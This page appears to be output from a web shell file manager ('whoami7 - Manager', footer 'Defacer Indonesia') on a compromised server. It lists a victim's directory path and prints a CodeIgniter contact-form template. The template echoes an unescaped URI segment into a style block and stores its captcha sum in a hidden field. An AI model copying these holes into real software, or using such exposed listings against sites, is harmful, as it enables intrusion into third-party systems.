whoami7 - Manager
:
/
home
/
papecmvm
/
public_html
/
application
/
views
/
Web
/
Template
/
Upload File:
files >> //home/papecmvm/public_html/application/views/Web/Template/contact.php
<?php $CI =& get_instance(); $offset=$this->uri->segment(1); echo "<style>.".$offset.">a{ border-left: 2px solid #035287!important;}</style>"; echo "<style>.".$offset."menu>a{ color:#035287!important;}</style>"; echo "<style>.main_".$offset.">a{ color:#035287!important;}</style>"; $max=rand(1,100);$min=rand(1,10); $current_url = current_url(); ?> <div class="col"> <div class="row"> <div class="embed-responsive embed-responsive-16by9 con-map"> <iframe class="embed-responsive-item" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1635.616853474175!2d72.5301184247388!3d23.029805471707284!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x395e84cf32b72723%3A0xe553384fb84fd4d2!2sThe%20FIRST!5e0!3m2!1sen!2sin!4v1576666565680!5m2!1sen!2sin"></iframe> </div> </div> </div> <br> <div class="container-fluid"> <div class="row"> <div class="col-sm"> <div class="con-head"> <h1><?php echo $viewdata[0]['content_title'];?></h1> </div> <?php echo $viewdata[0]['content_text'];?> <?php echo $get_conno[0]['other_text']; ?> <?php //echo $get_address[0]['other_text']; ?> </div> <div class="col-sm"> <div class="con-head"> <h1>Inquiry Form</h1> </div> <?php if($this->session->flashdata('msg_new')){ echo $this->session->flashdata('msg_new'); } ?> <?php $attr=array("class"=>"needs-validation", "novalidate"=>"novalidate"); echo form_open('webcontroller/inquiry', $attr); ?> <input type="hidden" name="code" value="<?php echo $max+$min; ?>"> <input type="hidden" name="current_url" value="<?php echo $current_url; ?>"> <div class="mb-3"> <input name="name" type="text" class="form-control form-control-sm" placeholder="Name" required> <div class="valid-feedback">Looks good!</div> <div class="invalid-feedback"> Please enter the name. </div> </div> <div class="mb-3"> <input name="email" type="email" class="form-control form-control-sm" placeholder="Email" required> <div class="valid-feedback">Looks good!</div> <div class="invalid-feedback"> Please enter the email. </div> </div> <div class="mb-3"> <input name="mobile" type="text" class="form-control form-control-sm" placeholder="Mobile" required oninput="this.value = this.value.replace(/[^0-9.]/g, ''); this.value = this.value.replace(/(\..*)\./g, '$1');"> <div class="valid-feedback">Looks good!</div> <div class="invalid-feedback"> Please enter the mobile. </div> </div> <div class="mb-3"> <textarea class="form-control form-control-sm" placeholder="Subject" name="subject" required></textarea> <div class="valid-feedback">Looks good!</div> <div class="invalid-feedback"> Please enter the subject. </div> </div> <div class="mb-3"> <label>Enter the sum</label> <input name="rcode" required class="form-control form-control-sm" " placeholder="<?php echo $max."+".$min; ?> = ? " type="text" /> <div class="valid-feedback">Looks good!</div> <div class="invalid-feedback"> SUM is required. </div> </div> <button class="btn btn-theme" type="submit" name="save" value="save">Submit form</button> <?php echo form_close(); ?> </div> </div> </div> <div class="block"></div>
Copyright ©2021 || Defacer Indonesia